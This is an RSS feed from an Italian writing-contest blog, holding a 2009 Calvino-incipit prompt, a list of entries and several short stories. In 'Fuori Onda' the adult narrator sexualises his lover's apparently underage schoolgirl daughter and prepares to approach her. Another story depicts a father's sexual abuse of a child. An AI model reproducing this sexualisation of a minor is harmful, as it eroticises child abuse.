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	<title>Borgonarrante &#187; Borgonarrante</title>
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	<pubDate>Thu, 13 May 2010 18:39:45 +0000</pubDate>
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		<title>Gli Autori e i racconti dell&#8217;edizione aprile maggio 2009</title>
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		<pubDate>Wed, 06 May 2009 04:43:29 +0000</pubDate>
		<dc:creator>Borgonarrante</dc:creator>
		
		<category><![CDATA[GiroBorgo-gli Autori]]></category>

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		<description><![CDATA[dall'incipit:
<i> “Ecco io adesso non vorrei che questo disagio risvegliato in me dal … ” </i> ]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;"><strong><span style="color: #008000;">L&#8217; Incipit: </span></strong>“Ecco io adesso non vorrei che questo disagio risvegliato in me dal … ”</p>
<p><span id="more-2580"></span></p>
<p style="text-align: left;"><span style="color: #008000;"><strong>la frase obbligatoria: </strong></span>“… la casa con saggezza sembra abbia approfittato dei tuoi momenti d’euforia per prepararsi a … ” <span style="color: #800080;"><em>(tratte dal romanzo “Se una notte d’inverno un viaggiatore di Italo Calvino.)</em></span></p>
<p style="text-align: left;">l’immagine facoltativa da &#8220;citare&#8221;</p>
<p align="center"><img class="aligncenter size-full wp-image-2468" title="gabrielle_d_estrees_borgo" src="http://www.borgonarrante.it/wp-content/uploads/2009/04/gabrielle_d_estrees_borgo.jpg" alt="gabrielle_d_estrees_borgo" width="379" height="276" /></p>
<h1 style="text-align: center;"><span style="color: #ff6600;">i Racconti e gli Autori partecipanti</span></h1>
<p style="text-align: center;"><span style="color: #ff6600;"><span style="color: #000000;"> </span></span><a href="http://www.borgonarrante.it/racconti/sogno-inverso-borgoracconto-2493/">Sogno inverso</a> di PE for friends</p>
<p style="text-align: center;"><a href="http://www.borgonarrante.it/racconti/spartito-per-voce-sola-borgoracconto-2499/">Spartito per voce sola</a> di LaSerenissima</p>
<p style="text-align: center;"><a href="http://www.borgonarrante.it/racconti/il-diciottesimo-cammello-borgoracconto-2505/">Il diciottesimo cammello</a> di massimolegnani</p>
<p style="text-align: center;"><a href="http://www.borgonarrante.it/racconti/la-notte-del-dubbio-borgoracconto-2514/">La notte del dubbio</a> di baribal</p>
<p style="text-align: center;"><a href="http://www.borgonarrante.it/racconti/ancora-tu-borgoracconto-2523/">Ancora tu</a> di Amar</p>
<p style="text-align: center;"><a href="http://www.borgonarrante.it/racconti/il-ritratto-borgoracconto-2538/">Il ritratto</a> di miresol</p>
<p style="text-align: center;"><a href="http://www.borgonarrante.it/racconti/il-giorno-del-giudizio-borgoracconto-2543/">Il giorno del giudizio</a> di ettore.bilbo</p>
<p style="text-align: center;"><a href="http://www.borgonarrante.it/racconti/hannibal-chi-diario-di-un-serial-killer-borgoracconto-2547/">Hannibal chi …? (Diario di un serial killer)</a> di gricio</p>
<p style="text-align: center;"><a href="http://www.borgonarrante.it/racconti/la-forza-di-una-donna-borgoracconto-2550/">La forza di una donna </a>di ocramocra</p>
<p style="text-align: center;"><a href="http://www.borgonarrante.it/racconti/la-dea-sfregiata-borgoracconto-2568/">La dea sfregiata</a> di Cecil</p>
<p style="text-align: center;"><a href="http://www.borgonarrante.it/racconti/fuori-onda-borgoracconto-2574/">Fuori Onda</a> di massimolegnani</p>
<p style="text-align: center;">
<p style="text-align: center;">i racconti del giroborgo sono stati pubblicati seguendo l&#8217;ordine di recapito nella posta del borgonarrante</p>
<p style="text-align: center;">
]]></content:encoded>
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		<item>
		<title>Fuori Onda - BorgoRacconto</title>
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		<pubDate>Tue, 05 May 2009 05:10:44 +0000</pubDate>
		<dc:creator>Borgonarrante</dc:creator>
		
		<category><![CDATA[Borgonarrante]]></category>

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		<description><![CDATA[<b> Racconto ad incipit </b><br />
…  ricordo di quei tempi  …<br />
<i> l’<b> Autore del giorno </b>potrà utilizzare l’apposito nick per non svelare la propria identità. </i>]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;"><strong><span style="color: #008000;">La proposta di scrittura prevedeva che il racconto iniziasse dal seguente Incipit:</span></strong></p>
<p><span id="more-2574"></span></p>
<p style="text-align: left;">“Ecco io adesso non vorrei che questo disagio risvegliato in me dal … ”</p>
<p style="text-align: left;"><span style="color: #008000;"><strong>inoltre era previsto che nel testo apparisse la seguente frase:</strong></span></p>
<p style="text-align: left;">“… la casa con saggezza sembra abbia approfittato dei tuoi momenti d’euforia per prepararsi a … ”</p>
<h6 style="text-align: left;"><span style="color: #800080;"><em>(sia la frase incipit che quella da inserire obbligatoriamente sono tratte dal romanzo “Se una notte d’inverno un viaggiatore di Italo Calvino.)</em></span></h6>
<p style="text-align: left;">era facoltà dell’Autore richiamare in qualche modo, nel suo testo, l’immagine sottostante.</p>
<p align="center"><img class="aligncenter size-full wp-image-2468" title="gabrielle_d_estrees_borgo" src="http://www.borgonarrante.it/wp-content/uploads/2009/04/gabrielle_d_estrees_borgo.jpg" alt="gabrielle_d_estrees_borgo" width="379" height="276" /></p>
<h1 style="text-align: center;"><span style="color: #ff6600;">Fuori Onda</span></h1>
<p style="text-align: justify;"><span style="color: #000000;">Ecco, io adesso non vorrei che questo disagio, risvegliato in me dal fatto che Lucia è pur sempre tua figlia, mi distogliesse dai miei intenti.</span></p>
<p style="text-align: justify;"> Come vedi, per un vezzo un po&#8217; bastardo, ho esordito con le stesse parole già usate nell&#8217;altra lettera, quella ufficiale, che ti ho spedito pochi giorni or sono con tanto di francobollo e bacio di sigillo. Questa no, non credo possa arrivarti mai, se non per un disguido. Pensieri che rotolano su un piano inclinato, parole a rischio di essere vere, che sto buttando giù per un bisogno improvviso di chiarezza e di finzione, ammettere emozioni, fingere franchezza, sapendo però bene che tu non avrai modo di leggermi. Ma il disguido, come il fuori-onda di certe trasmissioni che non sai mai quanto involontario, è sempre in agguato, e il mio è ancora più maligno, perchè mentre scrivo sono convinto di parlarti, pur avendo deciso di escluderti a priori dal colloquio. Quando avrò concluso queste righe e ciò che dicono, metterò da parte i fogli con l&#8217;intento di archiviarli o di buttarli nel camino, finendo poi col dimenticarmene. Non posso però escludere che un giorno, scambiandoli per altro, li ficcherò in una busta azzurra mettendo il tuo indirizzo. In questo caso il fuori-onda sarà completo.<br />
Ma ti dicevo di Lucia.<br />
Ce l&#8217;ho nel sangue.<br />
Ho avuto la fortuna di conoscerla cresciuta, come aver saltato le prime cento pagine noiose di un romanzo che una volta entrato nel vivo si fa avvincente. Sì, l&#8217;ho conosciuta che era già avvincente, anche se non ci facevo caso. Adolescente quieta, dal carattere deciso, ci razzolava intorno incuriosita senza essere invadente. La sentivo canticchiare nelle stanze o chiacchierare con qualcuno per telefono e mi piaceva quel sottofondo di allegria pacata che ogni tanto rompeva i nostri silenzi appena bisbigliati. Lucia, un&#8217;altra pietra della vostra strana tradizione. Gli uomini figure di passaggio, solo le donne a rimanere sulla scena, solitarie e solide, una generazione dopo l&#8217;altra, ciascuna a dare un senso suo a quelle mura. La casa femminile, vi avevo battezzata un tempo.<br />
La &#8220;VedovaNera&#8221;, come in paese chiamavano tua mamma, è un ricordo ancora vivo in certe stanze, la riconosco con fastidio nell&#8217;inalterata austerità della cucina, nelle pattine d&#8217;obbligo all&#8217;ingresso, obbligo da cui solo da poco vengo esentato, e persino nel dorso odoroso di libri che solo quelli in pelle avevano diritto d&#8217;asilo in biblioteca. E in questi dettagli ritrovo la sua avversione nei miei confronti, &#8220;troppi sorrisi e troppa presenza&#8221; ti diceva di me tagliando corto, anche se io non mi facevo vedere così spesso e non ricordo che sorridessi oltre una minima cortesia. Ma è evidente che lei temeva in me l&#8217;invadenza dell&#8217;uomo, l&#8217;elemento minaccioso che rischiava di rompere il vostro equilibrio. Perché tu già allora controbilanciavi i suoi eccessi di umor nero con la sottile euforia che tanto mi piaceva. E hai continuato a imprimere alle stanze un ritmo vorticoso dopo la sua morte. Camere ariose, non solo per le finestre sempre aperte in contrapposizione agli ambienti chiusi e cupi propri della Vedova, ma anche per i fiori che coltivavi fuori per averne sempre freschi dentro nei luoghi meno attesi, il bagno o il lungo corridoio, e per l&#8217;edera lasciata correre sulla facciata e il glicine ai balconi sul retro, così rigogliosi che sembrano volersi proiettare all&#8217;interno della casa. È quest&#8217;assenza di confini, il non sapere dove finisca il fuori e dove inizi il dentro, che mi ha affascinato allora, facendomi scoprire che tu sei come la tua casa. Mi accoglievi, e mi accogli ancora, gioiosa senza frapporre ostacoli, con le finestre aperte, per usare una metafora, o, se vogliamo ribaltare il concetto, la casa con saggezza sembra abbia approfittato dei tuoi momenti d&#8217;euforia per prepararsi al mio arrivo. La gaiezza vostra, tua e della casa, mi ha fatto bene, a lungo. E in questo quadro Lucia era una ragazzetta che cresceva alla tua ombra. La notavo appena, quasi fosse una suppellettile di casa, un tocco in più del tuo gusto per il bello, gradevole alla vista ma pur sempre oggetto. Fino a quel giorno di cui, immagino, tu non conservi traccia.<br />
Giocavamo a scacchi sul terrazzo. Le belle partite tra di noi, la successione delle mosse, gli schemi e le schermaglie, il brio e l&#8217;azzardo, così simili al nostro farci e disfarci d&#8217;amore sulla scacchiera bianca del tuo letto, tu la mia regina, io cavallo e alfiere, pedone sulla pelle. Giocavamo, e sul finale di partita Lucia al tuo fianco, sbucata silenziosamente dall&#8217;interno. Ho sentito la sua voce ma non ho tolto gli occhi da una mia torre pericolante. C&#8217;è fra voi un breve scambio di battute che non seguo. Per richiamare la mia attenzione mi dici &#8220;Michele, sai che Lucia ha il mio stesso neo, quello che ti piace tanto?&#8221;. Mentre alzo lo sguardo, tu con un gesto rapido che ci coglie di sorpresa le abbassi lo scollo del vestito di maglina e accogli nel palmo della mano il seno destro come fosse una piccola colomba. Attimi. So dove guardare, conosco il punto esatto. E il neo è lì, liscio e tondo sulla pelle chiara, l&#8217;occhio di colomba non lontano dal suo becco, la punta che intravedo prima che Lucia si protegga con la mano. Non badi al mio stupore né alla protesta di tua figlia. C&#8217;è nella tua voce l&#8217;allegro orgoglio della stirpe, la continuità di madre in figlia, e qualcos&#8217;altro che non colgo. &#8220;Non c&#8217;è da vergognarsi, questo - aggiungi e ancora lo indichi con un dito anche se coperto dal tessuto- è il nostro marchio. Siamo la stessa pelle.&#8221;<br />
È passato quasi un anno da quel pomeriggio. Non ho più guardato Lucia nel modo distratto di un tempo e mi sono ripetuto spesso le tue parole e il gesto che le aveva accompagnate. Non solo il movimento lesto della mano, anche la mimica del viso in quell&#8217;attimo sospeso, mentre le snudavi il petto: avevi gli occhi accesi a sollecitare meraviglia, gli zigomi contratti in lieve affanno e la bocca già socchiusa prima ancora di parlare. Come se mi stessi offrendo qualcosa al di là delle parole. Mi hai offerto qualcosa in quel momento, senza poter essere più esplicita, me ne sono convinto col tempo. Così in questo lungo anno ho osservato tua figlia crescere come il contadino guarda l&#8217;erba verso maggio, se quasi pronta al primo taglio. E il primo taglio è ora. Questo volevo che sapessi, raccontato da me mentre succede.</p>
<p>L&#8217;ho qui davanti, distesa pancia all&#8217;erba, che prende pigramente il sole. Puntellandosi sui gomiti sfoglia il testo di filosofia. Ha saltato scuola ma studia comunque la lezione. Scrupolosa anche in piena trasgressione.<br />
Alle otto ha suonato alla mia porta. S&#8217;è tolta il casco liberando la gran massa di capelli ricci e senza ammiccamenti mi ha chiesto di aiutarla a imitare la tua firma sul libretto delle assenze. Ho ammiccato io, per darmi un tono:<br />
&#8220;Cos&#8217;è, vuoi passare qualche ora di libertà col tuo ragazzo?&#8221;<br />
La sua risposta è di una naturalezza sconcertante:<br />
&#8220;No, conto di stare qui tutta la mattina, studiare un po&#8217;, dormicchiare e magari fare una nuotata.&#8221; Non aggiunge &#8220;se mi lasci&#8221; o &#8220;se non ti disturbo&#8221;. Eppure non è sfrontata, così come non cerca la mia complicità con sguardi d&#8217;intesa. È seria mentre mi comunica le sue intenzioni e per nulla emozionata.<br />
Non ci diciamo molto altro. Proviamo subito a scarabocchiare su un foglio il tuo nome. Scopriamo che lei è più brava di me nell&#8217;imitarti, così il mio aiuto risulta del tutto superfluo. Mentre preparo un caffè lei si chiude in bagno per infilarsi il costume.<br />
Anche se l&#8217;aria è ancora fredda Lucia già corre fuori a stendersi sull&#8217;erba. La raggiungo sul prato con il bricco e due tazzine. Ha scelto una balza del terreno poco sopra l&#8217;ombra del ciliegio dov&#8217;è il mio tavolino. Quando mi siedo ho il suo corpo all&#8217;altezza degli occhi. Scrivo e la osservo senza quasi bisogno di alzare lo sguardo. Non lontano, sotto di noi, scintilla la piscina.<br />
Lucia ha qualche goccia che brilla sulla pelle, non so se di sudore o acqua, e una peluria bionda, appena visibile nel controluce del mattino, dove la schiena s&#8217;accentua ad arco prima d&#8217;impennarsi al gran finale. Riconosco l&#8217;arco, la medesima &#8220;virgola&#8221; che disegna la tua schiena. Il richiamo a te non mi provoca il disagio dell&#8217;inizio, l&#8217;averlo ammesso nero su bianco ad incipit del dire mi stempera le remore morali. Ora la vostra somiglianza è un eccitante, una cometa da seguire. E il ricordo delle tue parole mi conforta e mi giustifica. Voglio ripercorrere il tuo corpo sopra il suo, emozionarmi alle uguaglianze attese e alle differenze imprevedibili, scoprire come fossi tu prima di averti conosciuta.<br />
Per questo oggi ti scrivo. Perché tu non stia in disparte mentre allargo i tuoi confini e uso la tua pelle come mappa per raggiungere il tesoro. E vorrei che anche Lucia non ti escludesse mentre ripeterà con me i tuoi stessi passi.<br />
Sa che la guardo mentre scrivo. Ha minime trepidazioni mentre legge di Spinoza. Lo capisco da come scrolla la criniera o guizza i muscoli del dorso o si strofina i piedi, quando, proprio in quel punto, poso lo sguardo su di lei.<br />
E ancora non ho guardato il neo.<br />
Tra poco.<br />
Quando il sole avrà finito di dorare la sua pelle, le dirò &#8220;Lucia, mostrami il neo.&#8221;<br />
E lei si volterà verso di me, senza sorrisi.</p>
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		<title>La dea sfregiata - BorgoRacconto</title>
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		<pubDate>Mon, 04 May 2009 05:06:00 +0000</pubDate>
		<dc:creator>Borgonarrante</dc:creator>
		
		<category><![CDATA[Borgonarrante]]></category>

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		<description><![CDATA[<b> Racconto ad incipit </b><br />
…   dal tuo volto silenzioso …<br />
<i> l’<b> Autore del giorno </b>potrà utilizzare l’apposito nick per non svelare la propria identità. </i>]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;"><strong><span style="color: #008000;">La proposta di scrittura prevedeva che il racconto iniziasse dal seguente Incipit:</span></strong></p>
<p><span id="more-2568"></span></p>
<p style="text-align: left;">“Ecco io adesso non vorrei che questo disagio risvegliato in me dal … ”</p>
<p style="text-align: left;"><span style="color: #008000;"><strong>inoltre era previsto che nel testo apparisse la seguente frase:</strong></span></p>
<p style="text-align: left;">“… la casa con saggezza sembra abbia approfittato dei tuoi momenti d’euforia per prepararsi a … ”</p>
<h6 style="text-align: left;"><span style="color: #800080;"><em>(sia la frase incipit che quella da inserire obbligatoriamente  sono tratte dal romanzo “Se una notte d’inverno un viaggiatore di  Italo Calvino.)</em></span></h6>
<p style="text-align: left;">era facoltà dell’Autore richiamare in qualche modo, nel suo testo, l’immagine sottostante.</p>
<p align="center"><img class="aligncenter size-full wp-image-2468" title="gabrielle_d_estrees_borgo" src="http://www.borgonarrante.it/wp-content/uploads/2009/04/gabrielle_d_estrees_borgo.jpg" alt="gabrielle_d_estrees_borgo" width="379" height="276" /></p>
<p align="center"> </p>
<h1 style="text-align: center;"><span style="color: #ff6600;">La dea sfregiata</span></h1>
<p align="justify"><!-- 	 	 --></p>
<p>&#8220;<em>Ecco io adesso non vorrei che questo disagio risvegliato in me dal tuo volto silenzioso mi impedisse di parlare, di agire, e persino di affondare un coltello nella tua gola, se volessi.</em></p>
<p><em>Sarebbe un suicidio- mi chiedo- o un omicidio? </em></p>
<p><em>Non importa, una sola di noi sopravvivrà o moriremo entrambe.</em></p>
<p><em>Il silenzio di questi anni ha permesso che prendessimo le distanze dai fatti avvenuti e che mettessimo spazio tra noi, che ci potessimo distaccare l&#8217;una dall&#8217;altra, osservarci bene e riconoscerci. Il dolore nascosto, che ha saputo aspettare prima di esplodere abitando il tuo cuore e la casa con saggezza, sembra abbia approfittato dei tuoi momenti d&#8217;euforia per prepararsi a squarciare il velo di amnesia che ci aveva avvolto.</em></p>
<p><em>Ho colto il tuo entusiasmo e la gioia. Essi sono sentimenti vitali ed esplosivi, proiettano mente e cuore nel futuro, ma il futuro si costruisce solamente su basi solide. Esige chiarezza di sentimenti, riappacificazione. È un bene che tu abbia scoperto l&#8217;allegria, la voglia di vivere per merito di quest&#8217;amore arrivato all&#8217;improvviso nella tua vita, esso ti salverà da una morte prematura: la morte del cuore. </em></p>
<p><em>Ora è il tempo giusto per parlare del passato, per vederlo e leggerlo con animo più sereno, e chissà forse il momento per poter perdonare chi ha sbagliato. Perché se è vero che il silenzio ricopre pietoso, come una benda lenitiva, troppa quiete indifferente uccide.</em></p>
<p><em>I grandi avvenimenti del mondo sarebbero stati poca cosa se nessuno ne avesse parlato. Cosa sarebbe stata la rivoluzione se nessuno ne avesse scritto?</em></p>
<p><em>Forse per questo motivo ho deciso di scriverti, solo così mi sentirò finalmente consapevole dei fatti, ed acquietata, e libera.</em></p>
<p><em>Tu resta lì, appiccicata alla superficie liscia dello specchio o mettiti comodamente seduta, io starò con le spalle curvate sullo scrittoio. Mi concentrerò sul cono di luce proiettato sul foglio dalla lampada e comincerò a raccontarti senza un ordine preciso, partendo dalle cose che mi vengono in mente.</em></p>
<p><em>Tu abbi pazienza, puoi anche chiudere gli occhi e sonnecchiare.</em></p>
<p><em>I fogli si accumuleranno appesantiti dalla mia calligrafia irregolare e dal peso delle colpe. Ascolterai la mia voce se lo vorrai o potrai leggere ogni cosa più tardi. In questo caso potrai conoscere anche le parole finali, ed esse, certamente, ti mitigheranno quelle precedenti. Avrai la cognizione esatta del tutto per poter scandagliare meglio il singolo particolare.&#8221;</em></p>
<p>Ho iniziato a scrivere da poco e subito mi interrompo per un piccolo fruscio.</p>
<p>La donna che è insieme a me nella stanza si è avvicinata e continua a guardarmi senza parlare, ha un aspetto curato, una serenità algida dipinta sul viso e due occhi che mi trafiggono il cuore per la loro assenza di lacrime e di luce.</p>
<p>Potrei essere un sasso, un mobile o un insetto repellente, e mi guarderebbe sempre con lo stesso disinteresse. Però ha avuto un attimo di distrazione ed io ho visto un lampo di vitalità subito nascosta.</p>
<p>Si è seduta nella poltrona tra me e lo specchio accavallando le gambe e trattenendo con le mani intrecciate un ginocchio.</p>
<p>Ha i capelli acconciati in modo diverso da come ricordavo: sono tirati all&#8217;indietro sulla fronte ed è scomparsa la scriminatura al centro che li spartiva in due.</p>
<p>Forse è un segno? Le due parti che si riuniscono in una, le metà che combaciano?</p>
<p>Mi colpiscono le sue unghie, laccate, ma poco curate, hanno i bordi zigrinati, irregolari.</p>
<p>Unghie da bambina triste.</p>
<p>Alla tristezza e all&#8217;infelicità possono seguire l&#8217;indifferenza e l&#8217;abulia, ma io, come ho detto, ho colto quella nuova luce nei suoi occhi. Un piccolo bagliore timoroso di essere spento, ma l&#8217;ho veduto bene. Da una scintilla può iniziale un disgelo.</p>
<p>Stacca una mano dal ginocchio per riavviarsi una ciocca.</p>
<p>Per riflesso sono tentata di compiere gli stessi gesti, ma mi trattengo dal farlo, inspiegabilmente voglio ancora che sia evidente una qualche differenza di azioni o di intenzioni tra i nostri corpi così somiglianti nelle fattezze. Mi sforzo di accennare un sorriso o quantomeno una mimica facciale che lo lasci intuire. Faccio finta che la donna non si sia mossa e continuo a scrivere mentre la mia voce recita i pensieri che traccio sulla carta.</p>
<p>Lunedì 3 gennaio 1989 -<em><strong>Il riflesso -</strong></em></p>
<p><em>Dietro i vetri riconosco l&#8217;inverno attraverso la velatura opaca che il mio fiato lascia sulla superficie fredda davanti al viso. Aguzzo lo sguardo per vedere fuori e invece incontro i miei occhi sul vetro. I capelli lisci mi scendono sulle spalle, su di esse, in segno di possesso, pesano due mani che non mi appartengono. Più in alto vedo altri occhi uguali ai miei. Odio ancora guardarmi allo specchio e cogliere la somiglianza.</em></p>
<p><em>Mi sono sempre chiesta se anche le anime sono simili tra loro.</em></p>
<p><em>Temo per la mia. Ha due strie d&#8217;arancio, come due ferite sanguinanti ed una sola nera, ma depressa quanto basta per sprofondarci dentro.</em></p>
<p><em>A Gennaio tu non esistevi ancora.</em></p>
<p>12 Febbraio 1989 -<strong>Il segreto-</strong></p>
<p><em>La mia camera è in fondo al corridoio, isolata dalle altre, troppo lontana dalla sicurezza di un abbraccio di madre, da orecchie vigili e protese a custodire.</em></p>
<p><em>Una lama di luce ha squarciato il buio della stanza e con esso il mio corpo, il mio cuore.</em></p>
<p><em>Non capisco cosa sta succedendo, ma intuisco che è riprovevole.</em></p>
<p><em>Me lo dice quella mano che preme sulla mia bocca e la voce bassa che sfiata intimando il silenzio e chiede la prudenza e la segretezza, da mantenere anche con lei che dorme in quella camera così distante dalla mia.</em></p>
<p><em>A Febbraio non esistevi ancora.</em></p>
<p>14 Marzo 1989 - <strong>L&#8217;abbandono- </strong></p>
<p><em>È una notte di vento e sento lamentarsi cupamente i rami del pino del giardino, avverto un tramestio di passi nel corridoio e due voci concitate in una battaglia verbale, in verità, piuttosto breve. Poi quella di lei che si arrende in un piagnucoloso &#8220;Va bene, ma non lasciarmi&#8221;.</em></p>
<p><em>Non mi resta alcun ombrello sotto il quale ripararmi, neppure quello del pino è abbastanza fitto. Guardo fuori dal vetro ed è solo buio.</em></p>
<p><em>Mi porto le mani sul viso, le dita alla bocca ed inizio con meticolosa dedizione a rosicchiarmi le unghie fino a farmi sanguinare le dita . Da questo momento non smetterò più.</em></p>
<p><em>A Marzo, per la prima ed unica volta, ti ho vista riflessa sul vetro accanto a me. </em></p>
<p>20 Marzo 1989 -<strong>Il doppio-</strong></p>
<p><em>Hai la mia età, mi somigli, tranne che per il nome. Il nome, quello sì che fa la differenza.</em></p>
<p><em>Ti chiami Emma. Sei tu a dormire nel mio letto. Tu a restare immobile con gli occhi spalancati nel buio mentre mio padre ti fruga il corpo.</em></p>
<p><em>Io sono altrove, sono una bambina felice e non so niente altro. Perdonami se non posso aiutarti, ma sono troppo piccola. Noi cresceremo assieme, ma io sarò sempre quella arrivata dopo, sempre in ritardo, dopo che ogni cosa è già successa.</em></p>
<p><em>Non ci siamo mai incontrate.</em></p>
<p><em>Ho pettinato i miei capelli con la riga al centro della testa, siamo separate da una linea di demarcazione che ci impedisce di vedere dall&#8217;altra parte. Ogni tanto ho notizie di te, ma per sentito dire. Mi raccontano delle tue unghie scabre, di quei colpi furiosi dati sui tasti del piano senza poterne trarre armonia di suono. Io conosco solo i miei giochi, lo studio, la mia vita forse troppo piena di persone, di oggetti. Un caleidoscopio di immagini che non si fermano mai e sulle quali la mente scivola distratta. </em></p>
<p><em>A Marzo so che esisti, anche se non ti conosco bene, e so che io ho un altro nome e un&#8217;altra vita.</em></p>
<p>Non credo che alla donna davanti a me interessi sapere quello che è successo negli anni successivi. È solo passato del tempo. Tempo che in superficie non ha segnato nuove tracce, ma forse è servito a cancellare alcune di quelle vecchie.</p>
<p>20 Ottobre 2009 -<strong>Il ritorno-</strong></p>
<p><em>Sei arrivata da qualche ora, dopo un breve tragitto in auto dall&#8217;aeroporto sei giunta a destinazione. La curva a gomito si slarga e un rettifilo e ti porta fino alla meta. Ottobre ha una luce bassa che rade i muri, e mette a nudo i pensieri nella tua testa. I tacchi delle tue scarpe frammentano il silenzio e scandiscono come un metronomo il tuo cammino lungo il sentiero e lungo gli anni che ti separano dall&#8217;infanzia.</em></p>
<p><em>Anche se non abiti più qui, è sempre casa tua. Inciampi in qualche radice infissa nel passato, alcune sporgono dalle pareti di qualche stanza dove andavi a nasconderti, altre lunghissime affiorano nell&#8217;orto incastrate tra le pietre del muro e i frammenti dei tuoi segreti. Alcune vanno tagliate, altre sono vitali e vanno alimentate con nettare. Non è difficile fare una cernita.</em></p>
<p align="justify"><em>Adesso che le guardi da vicino non lo è.</em></p>
<p align="justify"><em>È stata un&#8217; incombenza a riportarti qui: dare sepoltura all&#8217;ultima radice avvelenata che si è disseccata per sempre, lei riposerà accanto all&#8217;uomo per il quale ha sacrificato tutto.</em></p>
<p align="justify"><em>Capisco che per te è stato solo un fastidio venire qui, non senti un particolare dolore, solo tanta pena per lo sciupio d&#8217;amore che c&#8217;è stato: amore inaccaduto e amore mal riposto.</em></p>
<p align="justify"><em>Hai deciso di non farti fretta nello stabilire la data di rientro in città. Serve del tempo per ripercorrere tutti quei fili contorti che da ogni parte del tuo corpo si tendono a cercare un ancoraggio a quei luoghi dai quali hai cercato di separarti. Ma sai anche che non è importante un luogo preciso per essere felici o per non esserlo; ma sai che è determinante serbare il necessario ed abbandonare la zavorra e che un luogo vale l&#8217;altro. </em></p>
<p align="justify"><em>La casa appare nitida davanti a te.</em></p>
<p align="justify"><em>Posso vederla anch&#8217;io come avessi i tuoi occhi.</em></p>
<p align="justify"><em>Sembra senza pareti: posso scorgere i suoi vecchi abitanti dentro le stanze.</em></p>
<p align="justify"><em>Sono solo tre persone, due adulti e una bambina, una sola non due.</em></p>
<p align="justify"><em>Un brivido mi sale per la nuca e poi arriva una vampata che si spande nella testa come se fossi una bottiglia di spumante a cui hanno tolto il tappo. Sento degassare il sangue nelle orecchie mentre guardo il grande pino a guardia della casa.</em></p>
<p align="justify"><em>Mi traboccano, inarrestabili, lacrime e parole: tante frasi sguinzagliate ad inseguire gli incubi, a catturarli, sventrarli e divorarli per poi assimilarli come se fossero un pasto salvifico.</em></p>
<p align="justify"><em>La salvezza richiede il sacrificio di un rito antropofago. Io sono l&#8217; offerta, io il celebrante.</em></p>
<p align="justify"> </p>
<p>10 Novembre 2009 <strong>-la ricongiunzione</strong>-</p>
<p><em>Sei stata fuori di me per molto tempo, poi è iniziato il lento avvicinamento. Ti ho vista arrivare dalla finestra, hai impiegato un secolo prima di arrivare. Hai incespicato nel percorso tortuoso, nei gradini alti del sentiero. In questo momento non so se sto parlando io o se questa voce è la tua. Faccio fatica a distinguerle: segno che non ti sento estranea.</em></p>
<p><em>Sto attenuando le difese immunitarie contro il tuo dolore e lo faccio mio. Lo riconosco.</em></p>
<p><em>Quelle unghie ruvide sono attaccate alle mie mani, ma le sento già ricrescere per graffiare, lacerare. Saranno artigli con cui tirare fuori da me gli ultimi brandelli di dolore rimasti, per osservarli bene e cucirmeli addosso con suture accurate.</em></p>
<p><em>Mi farò un mantello con la tua pelle, me lo appunterò sulla schiena con le tue parole di commiato, a circondarmi come un abbraccio. Sarò rinnovata e intera. Pronta per l&#8217; amore che mi aspetta, che mi spetta. </em></p>
<p>L&#8217;alba fa sbiadire il chiarore della lampada sullo scrittoio, ho faticato una notte intera per scrivere queste poche righe e mi bruciano gli occhi. Un riflesso di luce sullo specchio mi dice che è un nuovo giorno, chiaro e senza ombre.</p>
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		<title>LA FORZA DI UNA DONNA - BorgoRacconto</title>
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		<pubDate>Thu, 30 Apr 2009 05:23:16 +0000</pubDate>
		<dc:creator>Borgonarrante</dc:creator>
		
		<category><![CDATA[Borgonarrante]]></category>

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		<description><![CDATA[<b> Racconto ad incipit </b><br />
…  ricordo di quei tempi  …<br />
<i> l’<b> Autore del giorno </b>potrà utilizzare l’apposito nick per non svelare la propria identità. </i>]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;"><strong><span style="color: rgb(0, 128, 0);">La proposta di scrittura prevedeva che il racconto iniziasse dal seguente Incipit:</span></strong></p>
<p><span id="more-2550"></span></p>
<p><span id="more-2547"></span></p>
<p style="text-align: left;">“Ecco io adesso non vorrei che questo disagio risvegliato in me dal … ”</p>
<p style="text-align: left;"><span style="color: rgb(0, 128, 0);"><strong>inoltre era previsto che nel testo apparisse la seguente frase:</strong></span></p>
<p style="text-align: left;">“… la casa con saggezza sembra abbia approfittato dei tuoi momenti d’euforia per prepararsi a … ”</p>
<h6 style="text-align: left;"><span style="color: rgb(128, 0, 128);"><em>(sia la frase incipit che quella da inserire obbligatoriamente&nbsp; sono tratte dal romanzo “Se una notte d’inverno un viaggiatore di&nbsp; Italo Calvino.)</em></span></h6>
<p style="text-align: left;">era facoltà dell’Autore richiamare in qualche modo, nel suo testo, l’immagine sottostante.</p>
<p align="center"><img class="aligncenter size-full wp-image-2468" title="gabrielle_d_estrees_borgo" src="http://www.borgonarrante.it/wp-content/uploads/2009/04/gabrielle_d_estrees_borgo.jpg" alt="gabrielle_d_estrees_borgo" width="379" height="276"/></p>
<p align="center">
<h1 style="text-align: center;"><span style="color: rgb(255, 102, 0);">La forza di una donna</span></h1>
<p align="justify">&#8220;<em>Ecco &#8230; io adesso non vorrei che questo disagio, risvegliato in me dal ricordo di quei tempi, possa influire sull&#8217;opinione che avevate della nonna.  Questo m&#8217;importa sopra ogni cosa! Dovevo raccontarvi, farvi capire la forza che mia madre ha sempre espresso nell&#8217;affrontare la vita, le sofferenze incredibili sopportate e come ha saputo ogni volta sgombrare il campo dagli orrori che vi nascevano come gramigna, per potervi coltivare amore e comprensione, quelle stesse che voi, i suoi nipoti, avete conosciuto. Giustificare i suoi atti è stato difficile per me, anche perché ho potuto solamente intuirli non avendo avuto da lei mai nessuna conferma, solamente uno sguardo silenzioso che non lasciava dubbi. E, badate,  giustificare non vuol dire perdonare, vuol dire capire il perché.</em></p>
<p align="justify">
<p align="justify"><em>(si sente un sospiro)</em></p>
<p align="justify">
<p align="justify"><em>Ora, oltre al resto, per il quale sono sicuro troverete un accordo, lascio a voi anche quest&#8217;eredità: la conoscenza dei fatti. Vi sarà utile conoscere le vostre origini per poter avere maggior consapevolezza di voi stessi, per potervi motivare ulteriormente e trovare dentro voi le forze necessarie ad andare avanti.</em></p>
<p align="justify">
<p align="justify"><em>(una pausa abbastanza lunga &#8230; si sente qualcosa che assomiglia ad un singhiozzo &#8230; un respiro profondo &#8230; poi riprendere a parlare)</em></p>
<p align="justify">
